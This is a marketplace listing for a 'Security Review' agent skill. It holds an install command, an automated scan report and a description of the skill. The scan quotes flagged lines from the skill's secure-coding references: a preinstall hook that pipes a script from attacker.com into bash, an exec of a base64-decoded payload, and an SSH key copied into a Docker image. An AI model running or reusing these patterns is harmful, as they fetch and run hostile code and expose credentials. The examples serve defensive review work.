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Security Review

Official
getsentry·vlatest·security·Apache-2.0

Helps with security, code review as part of implementing security and authentication workflows.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add getsentry/skills --skill security-review -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

getsentry

Matched to the vendor's own GitHub organisation.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 4 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 6 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: 169.254.169.254, 192.168.1.1, apache.org, attacker.com, internal-npm.company.com….

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    apache.orgundeclaredxml.orgundeclared169.254.169.254undeclaredinternal-service.locallocal192.168.1.1undeclaredattacker.comundeclaredinternal-npm.company.comundeclared

    What it found (3 of 14)

    • skills/security-review/references/file-security.md:284contacts apache.org
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    • skills/security-review/references/file-security.md:287contacts apache.org
      dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    • skills/security-review/references/file-security.md:285contacts xml.org
      dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

  • No obfuscated payloads: failed

    Contains 1 obfuscated or encoded payload pattern.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

    What it found

    • skills/security-review/references/supply-chain.md:235exec of a base64-decoded payload
      exec(base64.b64decode('aW1wb3J0IG9z...'))

  • No credential access: failed

    Touches credential material in 4 places.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found (3 of 4)

    • skills/security-review/infrastructure/docker.md:59SSH private keys or config
      COPY id_rsa /root/.ssh/
    • skills/security-review/infrastructure/docker.md:328SSH private keys or config
      id_rsa*
    • skills/security-review/infrastructure/docker.md:375Docker registry credentials
      # ~/.docker/config.json

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 1 place.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found

    • skills/security-review/references/supply-chain.md:258remote script piped into a shell
      "preinstall": "curl https://attacker.com/script.sh | bash",  // DANGEROUS

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • Pinned to a commit: passed

    Scanned getsentry/skills at c2f99a5b04.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
c2f99a5b04
Manifest
skills/security-review/SKILL.md
Scanned
22 files, 7,643 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

This skill performs a security review of code, configurations, or infrastructure. It identifies potential vulnerabilities and provides recommendations for remediation based on industry best practices. The tool aims to improve overall security posture by proactively finding and addressing weaknesses.

When to use it

  • Reviewing newly developed code before deployment.
  • Auditing existing infrastructure configurations for compliance and security gaps.
  • Performing a post-incident analysis to identify root causes and prevent recurrence.
  • Evaluating third-party libraries or dependencies for known vulnerabilities.

Key capabilities

  • Vulnerability identification
  • Remediation recommendations
  • Industry best practice adherence
  • Code review

Example prompts

  • "Review this Python code snippet for security vulnerabilities: [code snippet]"
  • "Perform a security audit of my AWS S3 bucket configuration."
  • "Analyze these Kubernetes manifests and identify potential security risks."

Tips & gotchas

The effectiveness of the skill depends on providing clear and complete input. Ensure that the code or configurations being reviewed are accurate and representative of the system you want to assess.